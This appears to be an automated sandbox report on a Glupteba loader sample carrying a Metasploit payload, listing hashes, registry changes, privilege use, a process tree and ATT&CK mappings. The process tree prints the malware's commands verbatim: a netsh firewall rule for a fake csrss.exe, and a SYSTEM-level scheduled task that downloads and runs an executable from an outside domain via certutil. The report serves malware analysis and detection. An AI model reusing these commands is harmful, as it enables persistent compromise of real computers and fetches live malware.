glupteba | 1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf

General

Target

1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.exe
Size

3.9MB
MD5

fb5106b00132654be98257e2ba38a950
SHA1

f462763f1c9881eb97c085382ffd4674d304c8d2
SHA256

1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf
SHA512

81038ec7ba4c9c4661625c16ceb3ce425b2afea09c47f7c1d46050be8c94022f5e81af6b9b5accf483d7ab1f2fa60e6eeae8883cac945fde68ff5ecab7069863

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 8 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2192-131-0x0000000003A80000-0x0000000004282000-memory.dmp	family_glupteba
behavioral2/memory/2192-132-0x0000000000400000-0x0000000003355000-memory.dmp	family_glupteba
behavioral2/memory/2192-134-0x0000000003A80000-0x0000000004282000-memory.dmp	family_glupteba
behavioral2/memory/2192-135-0x0000000000400000-0x0000000003355000-memory.dmp	family_glupteba
behavioral2/memory/4588-139-0x0000000000400000-0x0000000003355000-memory.dmp	family_glupteba
behavioral2/memory/4588-143-0x0000000000400000-0x0000000003355000-memory.dmp	family_glupteba
behavioral2/memory/4288-145-0x0000000000400000-0x0000000003355000-memory.dmp	family_glupteba
behavioral2/memory/4288-151-0x0000000000400000-0x0000000003355000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 4500 created 2192	4500	svchost.exe	1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.exe
PID 4500 created 4288	4500	svchost.exe	csrss.exe
PID 4500 created 4288	4500	svchost.exe	csrss.exe
PID 4500 created 4288	4500	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

4288 csrss.exe
3600 patch.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

2332 netsh.exe

pid	process
4288	csrss.exe
3600	patch.exe

pid	process
2332	netsh.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WitheredWave = "\"C:\\Windows\\rss\\csrss.exe\""	1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

3000 bcdedit.exe

pid	process
3000	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.exe

description	ioc	process
File opened for modification	C:\Windows\rss	1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.exe
File created	C:\Windows\rss\csrss.exe	1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

840 schtasks.exe
208 schtasks.exe

pid	process
840	schtasks.exe
208	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1912 = "Russia TZ 10 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1862 = "Russia TZ 6 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1931 = "Russia TZ 11 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1661 = "Bahia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2492 = "Aus Central W. Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1932 = "Russia TZ 11 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2491 = "Aus Central W. Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2572 = "Turks and Caicos Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2182 = "Astrakhan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1891 = "Russia TZ 3 Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3051 = "Qyzylorda Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	csrss.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.exe1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.execsrss.exe

pid	process
2192	1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.exe
2192	1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.exe
4588	1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.exe
4588	1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.exe
4288	csrss.exe
4288	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	2192	1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.exe
Token: SeImpersonatePrivilege	2192	1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.exe
Token: SeTcbPrivilege	4500	svchost.exe
Token: SeTcbPrivilege	4500	svchost.exe
Token: SeBackupPrivilege	4500	svchost.exe
Token: SeRestorePrivilege	4500	svchost.exe
Token: SeBackupPrivilege	4500	svchost.exe
Token: SeRestorePrivilege	4500	svchost.exe
Token: SeSystemEnvironmentPrivilege	4288	csrss.exe
Token: SeBackupPrivilege	4500	svchost.exe
Token: SeRestorePrivilege	4500	svchost.exe
Token: SeBackupPrivilege	4500	svchost.exe
Token: SeRestorePrivilege	4500	svchost.exe
Token: SeBackupPrivilege	4500	svchost.exe
Token: SeRestorePrivilege	4500	svchost.exe
Token: SeBackupPrivilege	4500	svchost.exe
Token: SeRestorePrivilege	4500	svchost.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

svchost.exe1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.execmd.execsrss.exe

description	pid	process	target process
PID 4500 wrote to memory of 4588	4500	svchost.exe	1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.exe
PID 4500 wrote to memory of 4588	4500	svchost.exe	1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.exe
PID 4500 wrote to memory of 4588	4500	svchost.exe	1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.exe
PID 4588 wrote to memory of 4504	4588	1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.exe	cmd.exe
PID 4588 wrote to memory of 4504	4588	1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.exe	cmd.exe
PID 4504 wrote to memory of 2332	4504	cmd.exe	netsh.exe
PID 4504 wrote to memory of 2332	4504	cmd.exe	netsh.exe
PID 4588 wrote to memory of 4288	4588	1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.exe	csrss.exe
PID 4588 wrote to memory of 4288	4588	1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.exe	csrss.exe
PID 4588 wrote to memory of 4288	4588	1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.exe	csrss.exe
PID 4500 wrote to memory of 208	4500	svchost.exe	schtasks.exe
PID 4500 wrote to memory of 208	4500	svchost.exe	schtasks.exe
PID 4500 wrote to memory of 840	4500	svchost.exe	schtasks.exe
PID 4500 wrote to memory of 840	4500	svchost.exe	schtasks.exe
PID 4500 wrote to memory of 3600	4500	svchost.exe	patch.exe
PID 4500 wrote to memory of 3600	4500	svchost.exe	patch.exe
PID 4288 wrote to memory of 3000	4288	csrss.exe	bcdedit.exe
PID 4288 wrote to memory of 3000	4288	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.exe
"C:\Users\Admin\AppData\Local\Temp\1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2192

C:\Users\Admin\AppData\Local\Temp\1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.exe
"C:\Users\Admin\AppData\Local\Temp\1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4588

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:4504

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:2332

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4288

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:840

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:208

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:3600

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:3000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4500

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
fb5106b00132654be98257e2ba38a950

SHA1
f462763f1c9881eb97c085382ffd4674d304c8d2

SHA256
1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf

SHA512
81038ec7ba4c9c4661625c16ceb3ce425b2afea09c47f7c1d46050be8c94022f5e81af6b9b5accf483d7ab1f2fa60e6eeae8883cac945fde68ff5ecab7069863

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
fb5106b00132654be98257e2ba38a950

SHA1
f462763f1c9881eb97c085382ffd4674d304c8d2

SHA256
1105c6506d94d440e44ce637e0e7d87c7aed386cf99d870f9bea04e3655614bf

SHA512
81038ec7ba4c9c4661625c16ceb3ce425b2afea09c47f7c1d46050be8c94022f5e81af6b9b5accf483d7ab1f2fa60e6eeae8883cac945fde68ff5ecab7069863

Download Submit
memory/208-146-0x0000000000000000-mapping.dmp

Download
memory/840-147-0x0000000000000000-mapping.dmp

Download
memory/2192-135-0x0000000000400000-0x0000000003355000-memory.dmp

Filesize
47.3MB

Download
memory/2192-131-0x0000000003A80000-0x0000000004282000-memory.dmp

Filesize
8.0MB

Download
memory/2192-132-0x0000000000400000-0x0000000003355000-memory.dmp

Filesize
47.3MB

Download
memory/2192-134-0x0000000003A80000-0x0000000004282000-memory.dmp

Filesize
8.0MB

Download
memory/2192-130-0x00000000036CA000-0x0000000003A71000-memory.dmp

Filesize
3.7MB

Download
memory/2332-137-0x0000000000000000-mapping.dmp

Download
memory/3000-150-0x0000000000000000-mapping.dmp

Download
memory/3600-148-0x0000000000000000-mapping.dmp

Download
memory/4288-140-0x0000000000000000-mapping.dmp

Download
memory/4288-144-0x0000000003C00000-0x0000000003FA7000-memory.dmp

Filesize
3.7MB

Download
memory/4288-145-0x0000000000400000-0x0000000003355000-memory.dmp

Filesize
47.3MB

Download
memory/4288-151-0x0000000000400000-0x0000000003355000-memory.dmp

Filesize
47.3MB

Download
memory/4504-136-0x0000000000000000-mapping.dmp

Download
memory/4588-139-0x0000000000400000-0x0000000003355000-memory.dmp

Filesize
47.3MB

Download
memory/4588-143-0x0000000000400000-0x0000000003355000-memory.dmp

Filesize
47.3MB

Download
memory/4588-133-0x0000000000000000-mapping.dmp

Download
memory/4588-138-0x000000000373F000-0x0000000003AE6000-memory.dmp

Filesize
3.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads